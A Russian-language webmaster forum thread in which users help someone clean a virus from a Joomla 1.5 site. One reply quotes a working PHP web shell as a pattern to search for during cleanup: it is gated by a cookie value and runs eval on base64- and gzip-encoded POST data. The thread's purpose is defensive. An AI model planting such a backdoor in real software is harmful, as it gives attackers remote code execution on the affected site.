Помощник
|
борьба с вирусом на сайте, нужна помощь |
wel1989
|
Сообщение
#1
|
||
|
|
||
|
|||
MeTaTRoN |
6.5.2013, 17:07;
Ответить: MeTaTRoN
Сообщение
#2
|
|
Проверьте инородные iframe коды в сорцах.
На страницу заходить боюсь)) -------------------- Реклама на аниме сайте Услуги программиста, тема на форуме |
|
|
Maxim-KL |
6.5.2013, 17:14;
Ответить: Maxim-KL
Сообщение
#3
|
|
-------------------- |
|
|
wel1989
|
Сообщение
#4
|
|
И тут выявил еще 1 интересный факт.
Закал повторное сканирование в вебмастере. И тут все нормально стало, хотя ничего не менял. [attachment=18527:_________.jpg] Глюк вебмастера ? |
|
|
hugo449 |
6.5.2013, 17:22;
Ответить: hugo449
Сообщение
#5
|
|
Ищите Shell в файлах. У вас Joomla 1.5. Инородные файлы весят обычно 281 байт, 289 байт, 291 байт. Они выглядят по типу такого: 2f842n.php или movie.php и их может быть очень много, они могут лежать в самых отдаленных папках. Скачайте все файлы по фтп на комп, установите текстовый редактор типа EditPlus и запустите поиск по всем файлам на предмет наличия подобного кода
if(!empty($_COOKIE['__utma']) and substr($_COOKIE['__utma'],0,16)=='3469825000034634'){ if (!empty($_POST['msg']) and $msg=@gzinflate(@base64_decode(@str_replace(' ','',urldecode($_POST['msg']))))){ echo '<textarea id=areatext>'; eval($msg); echo '</textarea>bg'; exit; }} ?> Разумеется, код может отличаться от этого, поэтому ищите по кускам этого кода. Все найденные файлы со странными названиями можете без сожаления удалить. Затем проверьте папку media/system/js. Там лежат файлы javascript. Скопируйте кусок вредоносного кода в поиск текстового редактора и ищите по всем javascript на сайте. Затем поменяйте пароли на FTP -------------------- |
|
|
wel1989
|
Сообщение
#6
|
|
Проганял Доктор вебом.
MeTaTRoN, Проверьте инородные iframe коды в сорцах А можно поподробнее про этот метод? |
|
|
stu999 |
7.5.2013, 8:58;
Ответить: stu999
Сообщение
#7
|
|
|
доктор веб, 2ip и аларм говорят, что вирусов нет. напишите еще Платонам
-------------------- [IMG]https://b.radikal.ru/b42/2106/73/41517b51ec05.gif[/IMG] |
|
|
||
|
Похожие темы
Тема | Ответов | Автор | Просмотров | Последний ответ | |
---|---|---|---|---|---|
Боты могут делать пушподписки на моём сайте? | 3 | Megaspryt | 913 | Сегодня, 5:18 автор: Skyworker |
|
Быстрый и качественный обмен на сайте Baksman.org Обмен Bitcoin, BTC-e, PM, Qiwi, Yandex money, Карты банк |
53 | Baksman | 33782 | Вчера, 11:29 автор: Baksman |
|
CryptoCloud — прием USDT, BTC, ETH, LTC на любом сайте | 36 | CryptoCLoud | 10667 | 16.4.2024, 16:02 автор: CryptoCLoud |
|
Странный трафик на сайте длительное время | 33 | TABAK | 8941 | 12.4.2024, 5:56 автор: Skyworker |
|
Алтуально ли заработок на сайте? Оцение пожалуйста идею |
10 | hitman20 | 1886 | 1.2.2024, 5:37 автор: Liudmila |
Текстовая версия | Сейчас: 24.4.2024, 13:00 |